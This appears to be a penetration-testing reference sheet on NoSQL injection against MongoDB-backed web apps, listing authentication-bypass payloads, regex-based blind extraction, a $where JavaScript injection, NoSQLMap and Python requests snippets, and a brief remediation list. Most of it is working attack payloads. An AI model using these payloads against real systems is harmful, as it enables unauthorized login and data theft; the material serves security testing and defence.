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- Add scripts/agent.py and references/api-reference.md to all remaining skills - Update all 648 LICENSE files: copyright now reads 'Mahipal' - Add implementing-security-monitoring-with-datadog (new skill with full anatomy) - All 649 skills now have: SKILL.md, LICENSE, scripts/agent.py, references/api-reference.md
86 lines
2.2 KiB
Markdown
86 lines
2.2 KiB
Markdown
# API Reference: NoSQL Injection Testing
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## MongoDB Query Operators
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| Operator | Description | Injection Use |
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|----------|-------------|---------------|
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| `$ne` | Not equal | Bypass authentication |
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| `$gt` | Greater than | Extract data |
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| `$regex` | Regular expression | Pattern matching |
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| `$exists` | Field exists | Enumerate fields |
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| `$where` | JavaScript expression | Code execution |
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| `$or` | Logical OR | Logic bypass |
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## Authentication Bypass Payloads
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### GET Parameters
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```
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?username[$ne]=&password[$ne]=
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?username=admin&password[$gt]=
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?username[$regex]=admin.*&password[$ne]=
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```
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### JSON Body
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```json
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{"username": {"$ne": ""}, "password": {"$ne": ""}}
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{"username": "admin", "password": {"$gt": ""}}
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{"username": {"$regex": "^admin"}, "password": {"$ne": ""}}
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```
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## Data Extraction
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### Regex-Based Extraction
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```json
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{"username": {"$regex": "^a"}, "password": {"$ne": ""}}
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{"username": {"$regex": "^ad"}, "password": {"$ne": ""}}
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{"username": {"$regex": "^adm"}, "password": {"$ne": ""}}
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```
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### $where JavaScript Injection
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```json
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{"$where": "this.username == 'admin' && this.password.match(/^a/)"}
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```
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## Error-Based Detection
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### MongoDB Error Messages
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| Error | Indicator |
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|-------|-----------|
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| `MongoError` | MongoDB driver error |
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| `CastError` | Invalid ObjectId |
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| `BSONTypeError` | Invalid BSON type |
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| `SyntaxError` | JavaScript parse error |
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## Testing Tools
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### NoSQLMap
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```bash
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python nosqlmap.py --url http://target/api/login --method POST \
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--data '{"username":"test","password":"test"}'
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```
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### Burp Suite Intruder
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Use NoSQL payload wordlist with parameter fuzzing.
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## Python requests Testing
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### GET Injection
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```python
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import requests
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url = "http://target/api/users"
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resp = requests.get(f"{url}?username[$ne]=&password[$ne]=")
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```
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### JSON Injection
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```python
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payload = {"username": {"$ne": ""}, "password": {"$ne": ""}}
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resp = requests.post(url, json=payload)
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```
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## Remediation
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1. Use parameterized queries (never concatenate user input)
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2. Validate input types (reject objects where strings expected)
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3. Use `mongo-sanitize` or equivalent input sanitization
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4. Disable `$where` operator if not needed
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5. Implement proper authentication (don't rely on query-level checks)
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